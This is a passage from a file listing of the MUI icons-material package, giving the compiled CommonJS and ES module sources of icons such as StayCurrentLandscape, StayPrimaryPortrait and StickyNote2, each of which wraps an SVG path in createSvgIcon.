    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 7.41 18.17 11H6v2h12.17l-3.59 3.59L16 18l6-6-6-6zM2 6v12h2V6z\"\n}), 'StartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 7.41 18.17 11H6v2h12.17l-3.59 3.59L16 18l6-6-6-6zM2 6v12h2V6z\"\n}), 'StartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscape.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayCurrentLandscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscape.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayCurrentLandscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscapeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayCurrentLandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscapeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayCurrentLandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscapeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayCurrentLandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscapeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayCurrentLandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscapeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 19h22V5H1zM19 7v10H5V7z\"\n}), 'StayCurrentLandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscapeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 19h22V5H1zM19 7v10H5V7z\"\n}), 'StayCurrentLandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscapeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 7h14v10H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3c-1.1 0-1.99.9-1.99 2L1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14z\"\n}, \"1\")], 'StayCurrentLandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentLandscapeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 7h14v10H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3c-1.1 0-1.99.9-1.99 2L1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14z\"\n}, \"1\")], 'StayCurrentLandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortrait.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayCurrentPortrait');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortrait.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayCurrentPortrait');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortraitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayCurrentPortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortraitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayCurrentPortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortraitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayCurrentPortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortraitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayCurrentPortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortraitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1.01 5.01 1v22H19zM17 19H7V5h10z\"\n}), 'StayCurrentPortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortraitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1.01 5.01 1v22H19zM17 19H7V5h10z\"\n}), 'StayCurrentPortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortraitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h10v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}, \"1\")], 'StayCurrentPortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayCurrentPortraitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h10v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}, \"1\")], 'StayCurrentPortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscape.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayPrimaryLandscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscape.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayPrimaryLandscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscapeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayPrimaryLandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscapeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayPrimaryLandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscapeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayPrimaryLandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscapeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.01 7 1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2M19 7v10H5V7z\"\n}), 'StayPrimaryLandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscapeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 19h22V5H1zM19 7v10H5V7z\"\n}), 'StayPrimaryLandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscapeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 19h22V5H1zM19 7v10H5V7z\"\n}), 'StayPrimaryLandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscapeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 7h14v10H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3c-1.1 0-1.99.9-1.99 2L1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14z\"\n}, \"1\")], 'StayPrimaryLandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryLandscapeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 7h14v10H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3c-1.1 0-1.99.9-1.99 2L1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14z\"\n}, \"1\")], 'StayPrimaryLandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortrait.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayPrimaryPortrait');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortrait.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayPrimaryPortrait');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortraitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayPrimaryPortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortraitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayPrimaryPortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortraitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayPrimaryPortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortraitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}), 'StayPrimaryPortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortraitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.01 1v22H19V1zM17 19H7V5h10z\"\n}), 'StayPrimaryPortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortraitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.01 1v22H19V1zM17 19H7V5h10z\"\n}), 'StayPrimaryPortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortraitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h10v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}, \"1\")], 'StayPrimaryPortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StayPrimaryPortraitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h10v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}, \"1\")], 'StayPrimaryPortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H4.99C3.89 3 3 3.9 3 5l.01 14c0 1.1.89 2 1.99 2h10l6-6V5c0-1.1-.9-2-2-2M7 8h10v2H7zm5 6H7v-2h5zm2 5.5V14h5.5z\"\n}), 'StickyNote2');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H4.99C3.89 3 3 3.9 3 5l.01 14c0 1.1.89 2 1.99 2h10l6-6V5c0-1.1-.9-2-2-2M7 8h10v2H7zm5 6H7v-2h5zm2 5.5V14h5.5z\"\n}), 'StickyNote2');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2Outlined.js",
